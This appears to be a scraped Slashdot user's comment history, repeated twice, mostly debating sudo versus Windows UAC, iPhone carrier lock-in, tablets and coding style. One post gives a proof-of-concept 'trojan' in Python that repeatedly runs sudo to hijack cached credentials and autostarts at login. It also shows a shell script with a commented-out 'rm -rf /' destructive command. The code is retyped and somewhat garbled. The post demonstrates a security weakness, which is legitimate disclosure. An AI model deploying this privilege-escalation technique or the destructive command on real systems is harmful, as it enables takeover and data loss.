[NOTE: if this post shows up while this message is here, I hit submit prematurely again. I'm typing this up before I tested all of it, so I don't guarantee it will work as-is.]
Oh, figures... I put that notice up there to protect against screwups by me, and then forget to remove it. Ah well. What I posted I stand by as tested.
[NOTE: if this post shows up while this message is here, I hit submit prematurely again. I'm typing this up before I tested all of it, so I don't guarantee it will work as-is.]
Oh, and one more thing. This one required some investigation (& installing Ubuntu in a VM).
sudo uses time limit for credentials -- this may not be the best way to achieve high security, however in most of real-life use it's sufficient to prevent privilege escalation for all but the luckiest trojan horses that happen to activate right after the user started the installation of something.
It's better to be good than lucky.
To wit, what's to stop the trojan from repeatedly attempting to sudo until it succeeds? Answer: not enough.
What follows is a demonstration of this principle. My technique is somewhat unsophisticated, yet if you were to wrap things up nicely, 99.99% of users wouldn't have a prayer of noticing what was going on.
I will say that this is far harder than I anticipated it being; sudo has some additional checks on who can use cached credentials. In particular, if the user has authenticated previously while running process A and then attempts to start process B with sudo, sudo apparently only uses the cached credentials if the two processes have the same parent. Nevertheless, this works on a freshly installed Ubuntu 8.04.1 system (current in late 2008). I also tried on the latest version 9.10, and the behavior is even worse to the point of perhaps being a bug. I'll have to file a report and see what the Ubuntu people say. I didn't install security updates though -- didn't want to mess with VMWare to get networking up.
(Disclaimer: I'm doing the tests in a VM without the VMWare tools, so I can't copy-and-paste back and forth unfortunately, so I'm retyping stuff. It's possible there's a typo in this copy, so if you copy and paste what I say it's not completely guaranteed it'll work correctly. But I'm not just making crap up, and anything that is wrong should be easy to find.)
Create a file with the following contents:
#!/bin/bash
echo "Uh oh!" >/compromised.txt #yes | rm -rf/
Call the file do_evil.sh, and give it execute permissions (chmod 755 do_evil.sh). For some real drama, uncomment the last line. (Don't do that last step on a system you care about. In fact, might as well even not copy that last line if you do care.)
Verify that, in fact, you have insufficient rights to run this script as-is:
evan@evan-desktop:~$./do_evil.sh ./do_evil.sh: line 3:/compromised.txt: Permission denied
Create a new Python program:
#!/usr/bin/python
import subprocess import signal import time import os import sys
file = open("out.txt", "w") sys.stdout = file
while True:
print "About to do_evil... "
p = sub.Popen("sudo./do_evil.sh", shell=True)
time.sleep(1)
if os.path.exists("/compromised.txt"):
print "success!"
break
else:
print "killing unsuccessful attepmt"
os.kill(p.pid, signal.SIGKILL)
time.sleep(5)
Call this trojan.py, and give it execute permissions.
Now, make Gnome run trojan.py when you log in. In Ubuntu 8, this was in System -> Preferences -> Sessions; in Ubuntu 9, it's in System -> Preferences -> Startup Applications. Click Add, and choose trojan.py. (Alternately, in.config/autostart create a new file called trojan.py.desktop containing something like:
The role of the password prompt in sudo/gksudo is to let the user confirm that it's he who requested the supposedly privileged application to run.... Asking the user breaks those exploits because user will see a prompt when he did not start an administrative application.
What you're describing sounds a lot like how UAC works in practice to me.
Perhaps you want to expound on what UAC does that it shouldn't or doesn't do that it should?
There are no things that user is supposed to "decide" if they should or should not be allowed to run as root/admin -- there are things that should always run as admin, and things that shouldn't.
Well, that's not really true. If you're looking at it at an executable level, then there are at least a few executables that are quite reasonably run at both privilege levels. Even at a command level, if you do "./configure --prefix=$HOME/my/install/location" then "make", then "make install" is something you'll probably be running as yourself. If you omit the --prefix part, then "make install" will need to be run as root.
What I forgot to say is that the difference is that "Sudo's behavior on that spectrum is configurable, while UAC's isn't." UAC forces you to the "ask every time end", which can be very annoying. The only times I've almost turned off UAC was when I was trying a bunch of configuration options which involved repeatedly elevating myself. A security system that makes users annoyed and persuades them to turn it off isn't so secure either.
now for Linux there are many different distros, in most allowing sudo to a rogue app will screw you as well, but let's say you use redhat's distro, which is like, the entreprise reference, this won't work.
Can you rephrase that in English?
Or at least say what you mean by sudoing a rogue app won't screw you on RHEL?
They might work and look kind of like UAC, but they are not in the same league in terms of security. When you allow SUDO to cache credentials, any process running under your credentials can elevate itself to root the next time you use SUDO. This vulnerability does not exist with UAC.
Which is why you turn off caching of credentials if that bothers you. It's a security vs convenience issue, and for once Windows is on the "annoying but secure" side and common Linux configurations are on the "less annoying but less secure" side.
Maybe or maybe not, but grandma wouldn't have installed Office to a non-default directory either, and wouldn't have had the problem in the first place.
(FWIW I also don't use default directories, putting programs on a different partition, and I haven't had a problem where I need to go mess with directory permissions to avoid UAC prompts because of it.)
More like 25 years old... well, 24 and a half - The first version wasn't Windows 95 after all...
You could make a decent argument that the first version of what we now call "Windows" was NT 3.1, released in 1993. That'd put Windows at a little less than 17 years old. This is certainly true of the kernel.
Counting the Windows subsystem from that point would be a bit more sketchy; going back to the pre-NT Windows days would be fair for that. Of course, if you take that position, you could also say that going back to 1980 -- for the MS-DOS subsystem -- is fair, which would put it at 30 years.
Yeah, but what would the service cost without the phone?
About $720, because I wouldn't get as expensive a plan.
The other part of the $(monthly fee*24 months) is the service that actually makes the phone useful as a phone/web browser/text message device. You would have to pay that (or a similar amount) at any carrier, regardless of the phone.
I pay $30/month. That gets me enough airtime that I'm maxing out my account because in any given month, I use far less then I pay for. With that I get (admittedly absurdly expensive) a la carte internet access, which I use for minor things like checking bus arrival times.
The thing you're overlooking is that iPhone-like devices are plenty useful without a data plan. Lots of places you can pick up wi-fi, and even in the absence of connectivity it can still be used as a PDA.
Most cell phones in the US are subsidized. You can pay the $99 and then the 2-yr contract or the unsubsidized price of $599. It's your choice...
Apple won't sell me an unlocked iPhone. Amazon doesn't have it, nor does Newegg.
Another point to make is that Apple has no control over what AT&T will charge you for the contract.
Not directly, but the fact that they only sell an AT&T-locked version means that I must go through AT&T to use get one. If Apple wasn't so restrictive, I could buy an unlocked version from them and use it with my existing AT&T account, or my T-Mobile account.
The only point of contention is that the iPhone is only on AT&T at the moment.
As far as I'm concerned, that's like saying "the only difference between 0 and 1 is that they aren't the same."
For example you can't use a T-Mobile Motorola RAZR on Verizon's network. You have to buy a Verizon Motorola RAZR(v3) because it uses a different band.
Ah, but I can buy an unlocked Razr and use it on either AT&T's network or T-Mobile's network.
Not that I want to dispute your overall point of that's what you're counting, but a contract that binds you to another $1700 outlay over 2 years isn't much of a "technicality".
Although Visa rules do not preclude merchants from asking for cardholder ID, merchants cannot make an ID a condition of acceptance. Therefore, merchants cannot refuse to complete a purchase transaction because a cardholder refuses to provide ID. Visa believes merchants should not ask for ID as part of their regular card acceptance procedures. (That quote is in bold, page 29.)
Am I off base here? What do you think about intermediate variables that are not strictly necessary?
I can't say you're off base per se (I don't have nearly enough production dev experience to make statements like that, and even if I did, I couldn't speak for everyone), but my personal style is not quite the complete opposite of yours.
I pretty heavily use intermediate variables. Why? A couple big reasons. One, if you give the temporary variables decent names, they serve as additional documentation. Two, if you're debugging, you can look at those intermediate values in a debugger (or log them) much easier than you could if they weren't explicitly stored somewhere. In most graphical debuggers you can just hover the mouse over a variable and see its value; if you didn't have that variable, you'd have to enter the expression in the immediate window or set up a watch or something like that.
If it were designed with a stylus in mind, it could have a slot for it, like my x61 tablet, or like the Nokia N900 I just ordered
And I forgot to say that this could take next to no space. The N900 has a stylus you can (optionally) use for heaven's sake, and it's the size of an iPhone.
(And yeah, I'm talking about writing the whole thing, and you can type without a stylus.)
But as I said the point is rather moot since if pure writing suits your needs better you can ALSO use a stylus with the iPad, and treat it as a purely digital pad (which is still very useful).
The downside of that is that the iPad doesn't have any home for those styluses: which means it's up to you to make sure you have it around and don't lose it.
I realize this is part my problem, but I am terrible when it comes to not losing pens and pencils; I'd imagine I'd be pretty bad at keeping the stylus around. But at the same time, the iPod would do nothing to help. If it were designed with a stylus in mind, it could have a slot for it, like my x61 tablet, or like the Nokia N900 I just ordered. Then, I'd have a perfect place to get into the habit of putting it when I was done using it.
The TC1100 and some other early Tablet PCs were fully slate form factor models, with a detachable keyboard as an option. When attached, it was just like a laptop; when detached, it was a slate
Oh, my mistake. I took a scan over this site to see what the TC1100 was, and (a little ironically given how I phrased my first post) I didn't look closely enough at the site to see that the keyboard could actually be removed and not just folded back (like it looks like in the second photo). My apologies.
But it's not just listing the reference, but also the amount of the work that is "borrowed" that determines infringement. Using whole pages, even with references, might qualify as infringement all by itself.
The real problem is that you're confusing (perhaps knowingly, but confusing nonetheless) copyright infringement and plagiarism. Using whole pages with properly attributed references might qualify as infringement -- but would never be plagiarism (or at least should never be, or you're using a broken definition IMO).
Dockable keyboard to switch from slate to laptop has been done long before, cf. the venerable Compaq TC1100...
I have a convertible tablet (and love it), and clearly you didn't look at the article very carefully. This isn't a convertible tablet per se, but rather is a notebook with a removable screen. Thus when using it in slate mode you get something that looks around the iPad's form factor, rather than the full thickness of a tablet.
Slashdot Mirror
[NOTE: if this post shows up while this message is here, I hit submit prematurely again. I'm typing this up before I tested all of it, so I don't guarantee it will work as-is.]
Oh, figures... I put that notice up there to protect against screwups by me, and then forget to remove it. Ah well. What I posted I stand by as tested.
[NOTE: if this post shows up while this message is here, I hit submit prematurely again. I'm typing this up before I tested all of it, so I don't guarantee it will work as-is.]
Oh, and one more thing. This one required some investigation (& installing Ubuntu in a VM).
sudo uses time limit for credentials -- this may not be the best way to achieve high security, however in most of real-life use it's sufficient to prevent privilege escalation for all but the luckiest trojan horses that happen to activate right after the user started the installation of something.
It's better to be good than lucky.
To wit, what's to stop the trojan from repeatedly attempting to sudo until it succeeds? Answer: not enough.
What follows is a demonstration of this principle. My technique is somewhat unsophisticated, yet if you were to wrap things up nicely, 99.99% of users wouldn't have a prayer of noticing what was going on.
I will say that this is far harder than I anticipated it being; sudo has some additional checks on who can use cached credentials. In particular, if the user has authenticated previously while running process A and then attempts to start process B with sudo, sudo apparently only uses the cached credentials if the two processes have the same parent. Nevertheless, this works on a freshly installed Ubuntu 8.04.1 system (current in late 2008). I also tried on the latest version 9.10, and the behavior is even worse to the point of perhaps being a bug. I'll have to file a report and see what the Ubuntu people say. I didn't install security updates though -- didn't want to mess with VMWare to get networking up.
(Disclaimer: I'm doing the tests in a VM without the VMWare tools, so I can't copy-and-paste back and forth unfortunately, so I'm retyping stuff. It's possible there's a typo in this copy, so if you copy and paste what I say it's not completely guaranteed it'll work correctly. But I'm not just making crap up, and anything that is wrong should be easy to find.)
Create a file with the following contents:
Call the file do_evil.sh, and give it execute permissions (chmod 755 do_evil.sh). For some real drama, uncomment the last line. (Don't do that last step on a system you care about. In fact, might as well even not copy that last line if you do care.)
Verify that, in fact, you have insufficient rights to run this script as-is:
Create a new Python program:
Call this trojan.py, and give it execute permissions.
Now, make Gnome run trojan.py when you log in. In Ubuntu 8, this was in System -> Preferences -> Sessions; in Ubuntu 9, it's in System -> Preferences -> Startup Applications. Click Add, and choose trojan.py. (Alternately, in .config/autostart create a new file called trojan.py.desktop containing something like:
[Sorry, hit submit too soon.]
The role of the password prompt in sudo/gksudo is to let the user confirm that it's he who requested the supposedly privileged application to run. ... Asking the user breaks those exploits because user will see a prompt when he did not start an administrative application.
What you're describing sounds a lot like how UAC works in practice to me.
Perhaps you want to expound on what UAC does that it shouldn't or doesn't do that it should?
There are no things that user is supposed to "decide" if they should or should not be allowed to run as root/admin -- there are things that should always run as admin, and things that shouldn't.
Well, that's not really true. If you're looking at it at an executable level, then there are at least a few executables that are quite reasonably run at both privilege levels. Even at a command level, if you do "./configure --prefix=$HOME/my/install/location" then "make", then "make install" is something you'll probably be running as yourself. If you omit the --prefix part, then "make install" will need to be run as root.
What I forgot to say is that the difference is that "Sudo's behavior on that spectrum is configurable, while UAC's isn't." UAC forces you to the "ask every time end", which can be very annoying. The only times I've almost turned off UAC was when I was trying a bunch of configuration options which involved repeatedly elevating myself. A security system that makes users annoyed and persuades them to turn it off isn't so secure either.
now for Linux there are many different distros, in most allowing sudo to a rogue app will screw you as well, but let's say you use redhat's distro, which is like, the entreprise reference, this won't work.
Can you rephrase that in English?
Or at least say what you mean by sudoing a rogue app won't screw you on RHEL?
They might work and look kind of like UAC, but they are not in the same league in terms of security. When you allow SUDO to cache credentials, any process running under your credentials can elevate itself to root the next time you use SUDO. This vulnerability does not exist with UAC.
Which is why you turn off caching of credentials if that bothers you. It's a security vs convenience issue, and for once Windows is on the "annoying but secure" side and common Linux configurations are on the "less annoying but less secure" side.
Well, don't manually force Office to install in a privileged location, and then whine that you need privileges to run it.
That's an awful excuse, if, in fact, the install directory is truly what's wrong. (I have my doubts.)
"C:\Program Files" (and "C:\Program Files (x86)" if you're on x64 Windows) are also privileged, but the install to there works fine.
Yes, but can grandma do that?
Maybe or maybe not, but grandma wouldn't have installed Office to a non-default directory either, and wouldn't have had the problem in the first place.
(FWIW I also don't use default directories, putting programs on a different partition, and I haven't had a problem where I need to go mess with directory permissions to avoid UAC prompts because of it.)
More like 25 years old... well, 24 and a half - The first version wasn't Windows 95 after all...
You could make a decent argument that the first version of what we now call "Windows" was NT 3.1, released in 1993. That'd put Windows at a little less than 17 years old. This is certainly true of the kernel.
Counting the Windows subsystem from that point would be a bit more sketchy; going back to the pre-NT Windows days would be fair for that. Of course, if you take that position, you could also say that going back to 1980 -- for the MS-DOS subsystem -- is fair, which would put it at 30 years.
Yeah, but what would the service cost without the phone?
About $720, because I wouldn't get as expensive a plan.
The other part of the $(monthly fee*24 months) is the service that actually makes the phone useful as a phone/web browser/text message device. You would have to pay that (or a similar amount) at any carrier, regardless of the phone.
I pay $30/month. That gets me enough airtime that I'm maxing out my account because in any given month, I use far less then I pay for. With that I get (admittedly absurdly expensive) a la carte internet access, which I use for minor things like checking bus arrival times.
The thing you're overlooking is that iPhone-like devices are plenty useful without a data plan. Lots of places you can pick up wi-fi, and even in the absence of connectivity it can still be used as a PDA.
Buy one overseas, then. The US is the only country where you can't buy unlocked iPhones.
I'd rather buy from a company that actually wants my money; Apple apparently doesn't.
It's not Apple who is being restrictive, but AT&T - see above point that iPhoines are sold unlocked everywhere outside the US.
And whose choice is that? Apple's. It's their phone.
They're the company that chose to make the exclusive deal with AT&T. Without Apple, AT&T wouldn't have any say in the matter.
Should have put quotes, it was meant as sarcasm
Fair enough. :-)
Personally, I think such lock-in contracts are just evil. :/
Agreed. (And I practice what I preach on that point too: I've never signed a cell phone contract, and just spent $550 on an unlocked N900.)
Most cell phones in the US are subsidized. You can pay the $99 and then the 2-yr contract or the unsubsidized price of $599. It's your choice...
Apple won't sell me an unlocked iPhone. Amazon doesn't have it, nor does Newegg.
Another point to make is that Apple has no control over what AT&T will charge you for the contract.
Not directly, but the fact that they only sell an AT&T-locked version means that I must go through AT&T to use get one. If Apple wasn't so restrictive, I could buy an unlocked version from them and use it with my existing AT&T account, or my T-Mobile account.
The only point of contention is that the iPhone is only on AT&T at the moment.
As far as I'm concerned, that's like saying "the only difference between 0 and 1 is that they aren't the same."
For example you can't use a T-Mobile Motorola RAZR on Verizon's network. You have to buy a Verizon Motorola RAZR(v3) because it uses a different band.
Ah, but I can buy an unlocked Razr and use it on either AT&T's network or T-Mobile's network.
Not that I want to dispute your overall point of that's what you're counting, but a contract that binds you to another $1700 outlay over 2 years isn't much of a "technicality".
If the person is there in person, then ID check...
Actually doing anything meaningful along that line is against the merchant agreements companies sign to accept credit cards.
From Visa's:
Am I off base here? What do you think about intermediate variables that are not strictly necessary?
I can't say you're off base per se (I don't have nearly enough production dev experience to make statements like that, and even if I did, I couldn't speak for everyone), but my personal style is not quite the complete opposite of yours.
I pretty heavily use intermediate variables. Why? A couple big reasons. One, if you give the temporary variables decent names, they serve as additional documentation. Two, if you're debugging, you can look at those intermediate values in a debugger (or log them) much easier than you could if they weren't explicitly stored somewhere. In most graphical debuggers you can just hover the mouse over a variable and see its value; if you didn't have that variable, you'd have to enter the expression in the immediate window or set up a watch or something like that.
If it were designed with a stylus in mind, it could have a slot for it, like my x61 tablet, or like the Nokia N900 I just ordered
And I forgot to say that this could take next to no space. The N900 has a stylus you can (optionally) use for heaven's sake, and it's the size of an iPhone.
(And yeah, I'm talking about writing the whole thing, and you can type without a stylus.)
But as I said the point is rather moot since if pure writing suits your needs better you can ALSO use a stylus with the iPad, and treat it as a purely digital pad (which is still very useful).
The downside of that is that the iPad doesn't have any home for those styluses: which means it's up to you to make sure you have it around and don't lose it.
I realize this is part my problem, but I am terrible when it comes to not losing pens and pencils; I'd imagine I'd be pretty bad at keeping the stylus around. But at the same time, the iPod would do nothing to help. If it were designed with a stylus in mind, it could have a slot for it, like my x61 tablet, or like the Nokia N900 I just ordered. Then, I'd have a perfect place to get into the habit of putting it when I was done using it.
Hey, Bittersweet Symphony is a pretty good song.
The TC1100 and some other early Tablet PCs were fully slate form factor models, with a detachable keyboard as an option. When attached, it was just like a laptop; when detached, it was a slate
Oh, my mistake. I took a scan over this site to see what the TC1100 was, and (a little ironically given how I phrased my first post) I didn't look closely enough at the site to see that the keyboard could actually be removed and not just folded back (like it looks like in the second photo). My apologies.
But it's not just listing the reference, but also the amount of the work that is "borrowed" that determines infringement. Using whole pages, even with references, might qualify as infringement all by itself.
The real problem is that you're confusing (perhaps knowingly, but confusing nonetheless) copyright infringement and plagiarism. Using whole pages with properly attributed references might qualify as infringement -- but would never be plagiarism (or at least should never be, or you're using a broken definition IMO).
You plagiarized the OP's post title as your post's body! You monster!
Dockable keyboard to switch from slate to laptop has been done long before, cf. the venerable Compaq TC1100...
I have a convertible tablet (and love it), and clearly you didn't look at the article very carefully. This isn't a convertible tablet per se, but rather is a notebook with a removable screen. Thus when using it in slate mode you get something that looks around the iPad's form factor, rather than the full thickness of a tablet.
Other than its semi-novel display...
Don't undersell the eink readers; you can drop the "semi-".